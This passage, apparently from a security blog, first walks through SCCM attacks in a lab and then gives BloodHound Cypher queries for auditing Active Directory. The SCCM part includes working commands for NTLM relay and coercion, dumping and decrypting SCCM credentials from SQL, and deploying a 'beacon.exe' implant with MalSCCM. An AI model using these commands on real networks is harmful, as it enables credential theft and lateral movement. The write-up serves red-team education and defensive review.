Unfortunately, this attack wouldn’t work for me as my SMS Provider is on the same server as the site server itself, they need to be separate for this attack to work, as shown by my Site’s information below:

This can also be done via pass-the-hash, for example if we can perform ADCS abuse against a user with privilege over the WMI interface. This will be merged into sccmhunter at some point in the future, but can currently be performed with smsadmin

Lateral Movement – NTLM Relay To Other SCCM Clients

If the Client Push account has not been defined in an SCCM environment, the machine account of the SCCM server will be used to push the SCCM client onto endpoints. Therefore, the SCCM site computer account will have local admin rights across the estate. This means that if:

  • We can coerce authentication from the push account (i.e. PetitPotam)
  • SMB Signing is disabled (i.e. we can relay)

Then we can relay this authentication onto any SCCM client and gain admin access to it. This should be possible even after the two patches (KB15599094 and KB15498768) are installed. Gabriel has a great demo of this in his talk at 1:19:07. Below we use an example of SMBExec, but this could be any tool which can be used with a relayed NTLM authentication & proxychains.

If we now trigger a client push with SharpSCCM, we only get an authentication request from the SCCM$ account, not the sccmclientpush account.

SharpSCCM.exe invoke client-push -mp sccm.sccmlab.local -sc S01 -t 10.10.0.161

Due to us having configured a Client Push account before, this attack wont work, due to the SCCM$ account not having local admin rights onto the SCCM managed devices. In another network which has never used a dedicated Client Push account, we would expect to see the computer account as a local admin below.

SQL DB Admin To Primary Site DB

Obtain SCCM User Creds

If we have admin access to the SQL DB which supports the Primary Site, we can read out the encrypted credentials to SCCM users, by reading the SC_UserAccount table. Thanks (Again) to XPN, we can use his PoC ‘sccmdecryptpoc.cs to decrypt the contents of the files, with his Twitter thread covering the process in more detail.

This requires admin access to the server containing the “Microsoft Systems Management Server” CSP for it to work. In practise I believe this means we need to perform the decryption on an SCCM site server – though this doesn’t stop us from obtaining the encrypted value!

Again, we will assume we can coerce authentication and relay it onto the SQL server, though this attack can equally be performed if we have access to the SQL database itself. Lets do our standard setup for ntlmrelayx.

python ntlmrelayx.py -smb2support -ip 10.10.0.161 -t mssql://10.10.0.102 -socks

And then coerce authentication using Client Push

SharpSCCM.exe invoke client-push -mp sccm.sccmlab.local -sc S01 -t 10.10.0.161

We can then run SQL commands on the SQL server using proxychains, like we did for the Site Takeover attacks.

proxychains python3 mssqlclient.py "SCCMLAB/SCCM$"@10.10.0.102 -windows-auth
USE CM_S01
SELECT UserName,Password FROM SC_UserAccount

We can then use XPNs SCCMDecryptPoc tool to decrypt this.

Alternatively, we can use Mimikatz to do this so long as we have a valid connectionstring to the DB. This can be done using the misc::sccm /connectionstring:XYZ command. This will come with the associated fun involved with using Mimikatz.

Dumping Task Sequences

We can dump Task Sequences to look for creds and other interesting stuff. Several tables (vSMS_TaskSequencePackage, vSMS_TaskSequencePackageEx and TS_TaskSequence) contain the Sequence column which contains the XML for the Task Sequence. We can find the details on the accounts with the following SQL query:

SELECT TS_ID, Name, Sequence FROM vSMS_TaskSequencePackage

Unfortunately, SCCM doesnt just give us the plaintext XML, with the rows showing the characteristic 0x38393133303030 value. We can decrypt this using DeObfuscateSecretString by Mayyhem, after we convert this from hexidecimal.

Whilst we are likely to have a faster route to domain compromise via a ‘Full Administrator’ SCCM user, Task Sequences might contain other credentials of interest, which arent AD-based. For example, credentials to cloud accounts.

Coerce NTLM Authentication

Thanks to a tweet by Mayyhem, we can use the sp_CP_GenerateCCRByName stored procedure to coerce the site client installation account to authenticate to the ADMIN$ share on a machine of our choosing. We can also specify an IP address rather than relying on SCCM-managed hosts.

USE CM_S01
GO

DECLARE @return_value int 

EXEC    @return_value = [dbo].[sp_CP_GenerateCCRByName] 
        @MachineNameList = N'10.10.0.161', 
        @SiteCode = N'S01', 
        @bForced = false, 
        @bForceReinstall = false

SELECT 'Return Value' = @return_value

GO

Primary Site Admin

With ‘Full Administrator’ access to a Primary Site, we can perform a number of powerful attacks against clients managed by the site. This is by design, as a primary site is a Tier 0 asset.

The most basic attack would be to create a group of users we want to target, then deploy an implant to all of their machines using the SCCM GUI. That is quite lame, so we will instead use commands we can execute from within a command line.

At this point, we will assume we have performed a site takeover attack (via AdminService API or SQL).

Recon – Perform Recon Queries

Using sccmhunter we can run recon commands using the AdminService API to gather data and avoid more noisy methods. For example, the admin and pivot methods allow for collection of various forms of recon data.

I encountered a unsupported hash type md4 error whilst running sccmhunter. As always the solution is found on StackOverflow – we need to update the requests-ntlm library with the following command:

python3 -m pip install -U requests-ntlm

To start with, lets run the admin module, with the following command:

python sccmhunter.py admin -ip 10.10.0.101 -u "SCCMLAB\joe.bloggs" -p "a" -debug

After collection, we are dropped into a CLI where we can run further queries on the data. We can use the help command to find out the available features.

For example, we can find details on all the applications:

Or all of the collections:

To take this to the next step, we can use the pivot module to run further commands. For now its a PoC within sccmhunter, but no doubt we will see this further developed in the future.

We can use the help command within the interface to see the commands available to us:

For example, targeting server2.sccmlab.local, which has a device ID of 16777220:

Lateral Movement – Deploy an application

There are several ways of doing this, for this example we will use MalSCCM. To perform this attack we will create a group of computer objects and then deploy a payload to them. We can create user groups, but due to MalSCCM having to guess the most likely computer object based on the user, it is safer to set the computers manually. Whilst using the tool from an ‘infected’ client device, I found I had to specify the SCCM server with each command to avoid any errors.

To create our group, we will run:

MalSCCM.exe group /create /groupname:1337TargetGroup /grouptype:device /server:sccm.sccmlab.local

We will then set our target device, I had to use all caps rather than using a FQDN for this to work. It is likely that this needs to match the name as shown in the MCM portal, which appears to be the hostname in uppercase.

MalSCCM.exe group /addhost /groupname:1337TargetGroup /host:SERVER1 /server:sccm.sccmlab.local

As mentioned by Nettitude in their post on MalSCCM, in order to deploy an application, we need to host the application on a share which the computer account is able to access. For this example we will pretend that we have found an open share.

Lets now create our malicious application, with the following command:

MalSCCM.exe app /create /name:OhDearOhDear /uncpath:"\\SCCM\Open Share\beacon.exe" /server:sccm.sccmlab.local

Now lets deploy this application to the group we created earlier.

MalSCCM.exe app /deploy /name:OhDearOhDear /groupname:1337TargetGroup /assignmentname:ItsRainingShellz /server:sccm.sccmlab.local

And finally, we can optionally coerce the targets in the group to check in, speeding up the deployment time.

MalSCCM.exe checkin /groupname:1337TargetGroup /server:sccm.sccmlab.local

After hours of banging my head against a wall I couldnt get this to work, but here is what I should have seen:

We can do this all in one using SharpSCCM exec, using the -i or -n parameters, we can deploy our payload/executable to a collection of users.

Lateral Movement – Arbitrary NTLM Coercion

For this attack, we add all of our targets into a group, then create an application which has its UNC path set to one we can control. This application is then deployed and the targets will attempt to authenticate to our share. From this point we can relay the authentication onto a service of our choice. For this example, I will just capture the authentication using ntlmrelayx to prove that it is a viable attack vector.

The command given in Chris’s original writeup has since changed, with the -mp and -sc arguments now required. Note that the targeted device (-d) has to match the hostname. In our case, we had to use SERVER1 rather than server1.sccmlab.local.

SharpSCCM.exe exec -mp sccm.sccmlab.local -sc S01 -d SERVER1 -r 10.10.0.161

As usual, we will setup ntlmrelayx to listen in for inbound SMB connections:

python ntlmrelayx.py -smb2support -ip 10.10.0.161 -socks

And we get inbound authentication requests after SharpSCCM deploys an application. We could relay this onward to a number of services.

Conclusion

And there we go, a whole range of ways of compromising SCCM! Undoubtedly there will be more attack paths and research being released over the coming months, so it is well worth conducting a review of attack paths into and within your own SCCM estate. Using BloodHound is a great way of doing this.

BloodHound & Cypher Language

In my previous post, I covered the basics of BloodHound. In this post I will dive into the Cypher query language but we will focus on using it from an assessment/auditing angle – rather than as an attacker. Being able to quantify and detail the issues which exist in a large AD estate is an extremely powerful way of reducing the internal attack surface, forcing attackers (or red teamers!) to become more noisy.

Additionally BloodHound can help to focus remediation efforts, instead of blindly trying to remediate hundreds of users with weak passwords, BloodHound can show the level of access that each account has. This data can be analysed to allow prioritised remediation to be performed on the most powerful accounts first, helping to better secure your environment much faster!

What is Neo4j?

As a brief explainer, BloodHound is a nice GUI which sits on top of a neo4j graphing engine. Neo4j uses the ‘Cypher‘ query language, which we can then use to directly query the raw AD data which neo4j is storing. This allows us to produce more complex queries than are possible within the BloodHound GUI. In particular it allows us to generate tables and calculate certain values (i.e. How many users have admin access to another system? How many of them are kerberoastable?)

The query structure is slightly unusual, but it does have a fair amount of similarity to SQL. The main function we will use is the MATCH operator, which allows us to query the dataset in a similar way to SELECT would in SQL. To access the Neo4j console, we will navigate to localhost:7474 on our machine which is running Neo4j.

A Basic Query

We can run a basic query to pull back a single user with the following query:

MATCH (u:User) WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM" RETURN u

Whilst this is quite simple, it does show that the syntax is very similar to SQL. If we look in the graph, Neo4j will return all the nodes which match this query. In this case it is just one account.

The u variable above will allow us to refer to all of the users impacted by the query above. For example, we can find all the users whose name begins with ‘BD’ using the query below. This will set u to represent all 5 users:

MATCH (u:User) WHERE u.name STARTS WITH "BD" RETURN u

In order to return a single attribute from these users, we can change the value which we are returning. If we read the BloodHound documentation, there are a number of potential properties to return. We can also select the Table view to see all of the properties stored in the object:

We could then alter our query to just return the displayname field with the following query:

MATCH (u:User) WHERE u.name STARTS WITH "BD" RETURN u.displayname

And we don’t have to just use Users, if we partially complete a query then Neo4j will suggest other types of we can use.

For example, we can return groups which begin with ‘IT’ by altering the query from MATCH (u:User) to MATCH (u:Group).

MATCH (u:Group) WHERE u.name STARTS WITH "IT" RETURN u.name

Analysing Relationships

This is all well and good, but the power of Neo4j comes from being able to identify relationships between nodes. To do this, lets find all the groups which BDELUNG00508 is within. To do this, we will need to search for Users which are a member of a group. This is done by using the following syntax:

MATCH (u:User)-[:MemberOf]->(g:Group)

This uses the ‘MemberOf’ edge in BloodHound to reveal users who are a member of a group. We will then need to filter this dataset down to only include the Brendan Delung user from our previous post, which we can do with the following command:

WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM"

And finally, return the group names with

RETURN g.name.

Giving us a final command of:

MATCH (u:User)-[:MemberOf]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM"
RETURN g.name

This is the equivalent command to the one we used in our original post, which can be represented by the following graph:

We can do some further queries to manipulate the data, for instance, what if we only want to return the nested groups?  To do this, we can use the *2.. Operator on the relationship section of the query to ensure that there are 2 consecutive MemberOf relationships. This will return the two groups on the right of the above image.

MATCH (u:User)-[:MemberOf*2..]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM"
RETURN g.name

Or if we want to ignore any of the groups beginning with “Operations“, then we can use the NOT operator:

MATCH (u:User)-[:MemberOf]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM" AND NOT(g.name STARTS WITH "OPERATIONS")
RETURN g.name

Pathfinding

If we want to represent any of these as a ‘path’ rather than a table, we can use the p= operator. For example, if we want to view the previous query as a path we would add p= to the beginning of the query and return the p variable.

MATCH p=(u:User)-[:MemberOf]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM" AND NOT(g.name STARTS WITH "OPERATIONS")
RETURN p

We can run this query in BloodHound using the ‘Raw Query‘ tab at the bottom of the screen. This allows us to interact with the results using the BloodHound GUI, rather than Neo4j. Below we can see the query above but within the GUI.

Finally, using one of the previous queries we can use the COUNT operator to count the amount of results returned. We will use this extensively later on. In this case, we will count the number of groups which BDELUNG00508 is explicitly added to, ignoring any nested groups.

MATCH (u:User)-[:MemberOf]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM"
RETURN COUNT(g) AS GroupCount

Assessing AD

Enough of the theory, lets start to combine some of these features together! In this section I will cover a range of queries which I have had success with previously. Most of these queries can be repurposed to cover whatever group of assets you are interested in. Common examples of groups might be:

  • AD Administrators/privileged accounts
  • Tier 0 or Tier 1 assets
  • Privileged Software users
    • ADCS
    • ADFS
    • SCCM
    • AV/EDR
    • Backup systems
    • Exchange Admins
  • Interesting user groups
    • Developers
    • SOC
    • Cloud Admins

Find All Nested Users For A Specific Group

This is handy to find all of the users for a specific AD group. By analysing multiple nested groups, we can find users who have access to our chosen group, but we might not have been aware of. This is very similar to the query used above, except we are finding the users in a group, instead of the groups a user is in. Also we are using the DISTINCT function for the output, to prevent duplicate results.

In this query, several other parameters are also returned which can be handy for further analysis. For example pwdlastset can help us find accounts which have old passwords, or the description field can shed light as to why this user has access to this group. In this example I am using the Domain Admins group, but it works well against systems such as Exchange with groups such as Exchange Recipient Administrators.

The 1..5 operator should be modified depending on the complexity of the environment. I would recommending starting at 1..2 or 1..3 (i.e. A maximum of 2 or 3 nested groups), as this will get exponentially more complex, and can cause BloodHound to crash if you arent careful!

MATCH (u:User)-[:MemberOf*1..5]->(g:Group)
WHERE g.name = "DOMAIN ADMINS@HTTP418INFOSEC.COM" AND u.enabled = true
RETURN DISTINCT(u.name) AS UserName, u.pwdlastset, u.lastlogon, u.description
ORDER BY u.pwdlastset ASC

Find Exploitable Edges To A Wildcard Group Name

This allows us to find users who have an exploitable relationship with an object which is then a member of a group of interest. An exploitable relationship in this case would mean that further actions need to be taken before the user actually has access to the group. For example, it might have an AddMember permission over a group – so whilst they dont currently have access to the group, they could add themselves into it.

In the example below, we are looking for users who could grant themselves access to an AD object, which is then in turn a member of a group with ‘Exchange’ in its name (WHERE g.name =~ "(?i).*exchange.*").

This is handy to find users with dangerous misconfigurations which could lead to sensitive applications becoming compromised. This deliberately doesn’t include the MemberOf edge in the first section of the MATCH statement – as we are specifically looking for the more hidden misconfigurations.

MATCH (u:User)-[:AddMember|AddSelf|WriteSPN|AddKeyCredentialLink|AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..4]->(o)-[:MemberOf]->(g:Group)
WHERE g.name =~ "(?i).*exchange.*"
RETURN DISTINCT(u.name), g.name

Find Users With Admin Access To Domain Controllers

For this query we specifically look for users with nested access to an object, which then has admin access onto computers within a group. This could be altered so that the group name is an Exchange Servers group, or DB servers etc.

MATCH (u:User)-[:AddMember|AddSelf|WriteSPN|AddKeyCredentialLink|AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns|MemberOf*1..4]->(o)-[:AdminTo]->(c:Computer)-[:MemberOf]->(g:Group)
WHERE g.name STARTS WITH "DOMAIN CONTROLLERS"
RETURN DISTINCT(u.name) AS UserName, o.name AS GrantingObjectName, c.name AS DCName

With this query, we can see a number of users go via the Domain Admins group to get access to the FLLABDC Domain Controller. All of the users in this query are actually legitimate domain admin users, so we could extend the query to ignore any users who go via the Domain Admins group (As Domain Admin users will have admin access to Domain Controllers)

MATCH (u:User)-[:AddMember|AddSelf|WriteSPN|AddKeyCredentialLink|AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns|MemberOf*1..4]->(o)-[:AdminTo]->(c:Computer)-[:MemberOf]->(g:Group)
WHERE g.name STARTS WITH "DOMAIN CONTROLLERS" AND NOT(o.name STARTS WITH "DOMAIN ADMIN")
RETURN DISTINCT(u.name) AS UserName, o.name AS GrantingObjectName, c.name AS DCName

Find All Active ‘Decommissioned’ Objects

Focusing on the auditing side of BloodHound, we can search for all objects which mention they are disabled or decommissioned, but are in fact still active. This is very much matter of Active Directory hygiene, and is less about finding a 1337 way of compromising a domain – but you never know!

MATCH (o)
WHERE o.enabled = true AND (o.description =~ "(?i).*disabled.*" OR o.description =~ "(?i).*decom.*")
RETURN o.name AS Name, o.description AS Description

This does rely on the description field containing either ‘disabled’ or ‘decom’, so it isn’t 100% accurate. You could also do a query to look at last login times and perform some sort of logic based on that.

Find The Most Dangerous ‘Decommissioned’ Objects

As a rough way of quantifying the most ‘dangerous’ decommissioned objects, we can perform a basic way of finding outbound access from any users we identified in the query above.

MATCH (o)-[:MemberOf*1..3]->(g:Group)-[r]->(n)
WHERE o.enabled = true AND (o.description =~ "(?i).*disabled.*" OR o.description =~ "(?i).*decom.*") AND r.isacl = true
RETURN o.name AS Name, o.description AS Description, COUNT(DISTINCT(n)) AS OutboundAccess
ORDER BY OutboundAccess DESC

This will look for any groups which our ‘decommissioned’ objects are within, then find the number of objects which those groups can access. We could alter this to look for groups which grant local admin rights, or look for exploitable AD permissions (i.e. GenericAll, WriteDacl etc) rather than nested group membership (i.e. -[:MemberOf*1..3]-> )

Finding Legacy Privileged Accounts

We can leverage the highvalue attribute within BloodHound to find users of interest, and then use the pwdlastset attribute to find accounts with older passwords, which might not be subject to more modern password requirements and could well be very weak.

MATCH (u:User)-[:MemberOf*1..3]->(o)
WHERE o.highvalue = true AND u.enabled = true
RETURN DISTINCT(u.name) AS Name, u.pwdlastset AS PasswordLastSet
ORDER BY PasswordLastSet ASC

We could also modify this to find users who mistakenly have access to high value targets. If we assume that an internal naming scheme of T0_ is used for all Tier 0 accounts, we could ignore them in our query to find all users who arent Tier 0. For example:

MATCH (u:User)-[:MemberOf*1..3]->(o)
WHERE o.highvalue = true AND u.enabled = true AND NOT(u.name STARTS WITH "T0_")
RETURN DISTINCT(u.name) AS Name

Evaluate Local Admin For A List Of Users

If you have a list of users of interest, you might want to evaluate how much onward administrative access they have. For example, users with weak passwords or legacy accounts which are due to be decommissioned. The query below is a basic way of performing this query.

MATCH (u:User)-[:MemberOf*1..3]->(g:Group)-[:AdminTo]->(c:Computer)
WHERE u.name IN ["RSTITCH01791@HTTP418INFOSEC.COM", "CSTURKEY00066@HTTP418INFOSEC.COM", "RFLITCROFT00516@HTTP418INFOSEC.COM"]
RETURN u.name AS Username, COUNT(DISTINCT(c)) AS AdminCount
ORDER BY AdminCount DESC

Which returns the number of systems which each user has local admin access to, showing that RSTITCH01791 is extremely powerful.

Evaluate Devices Which Allow Unconstrained Delegation

Unconstrained Delegation is a very dangerous attack primitive which can allow for a range of attacks. Therefore, it is essential that any devices which allow this attack are known about (and ideally removed!)

We can find devices which support it via the unconstraineddelegation attribute. For example, the query below will find users who are in nested groups, which have local admin access to a device which supports unconstrained delegation.

MATCH (u:User)-[:MemberOf*1..3]->(g:Group)-[:AdminTo]->(c:Computer)
WHERE c.unconstraineddelegation = true AND c.enabled = true AND u.enabled = true
RETURN c.name AS ComputerName, COUNT(DISTINCT(u)) AS AdminCount
ORDER BY AdminCount DESC

This could be extended to include any exploitable AD permissions (i.e. GenericAll, WriteDacl etc) rather than just group membership, but for now we can get a sense of how many users in our organisation have access:

This is the same data as from the Unrolled Admins view on an individual asset – except we can now find this value for every vulnerable device in the BloodHound dataset!

Finding Shortest Path To Unconstrained Delegation

Given our data above, we could simply begin remediation from the devices with the most admins to the least. Whilst this would be a valid way of evaluating the data, we should also consider other factors – such as how easy is it to gain admin access? For example, if one of the admins is kerberoastable then we are in big trouble!

We can check this with the following query:

MATCH p=shortestpath((u:User)-[*1..]->(c:Computer))
WHERE c.unconstraineddelegation = true AND c.enabled = true AND u.enabled = true AND u.hasspn = true
RETURN p

Which we will run in BloodHound’s GUI:

Now we can see that there are a range of kerberoastable users who eventually have access to systems which support unconstrained delegation – including routes via the Domain Admins group!

Summary

In summary, BloodHound is an extremely flexible way of evaluating an AD environment. The ‘standard’ version is excellent at allowing this point-in-time evaluation, with BloodHound Enterprise being far better suited to continuous evaluation.

There are an enormous amount of BloodHound queries both within the tool, and on GitHub which will show even more ways in which Cypher can be used and are a great way of understanding the Cypher language!

Further Reading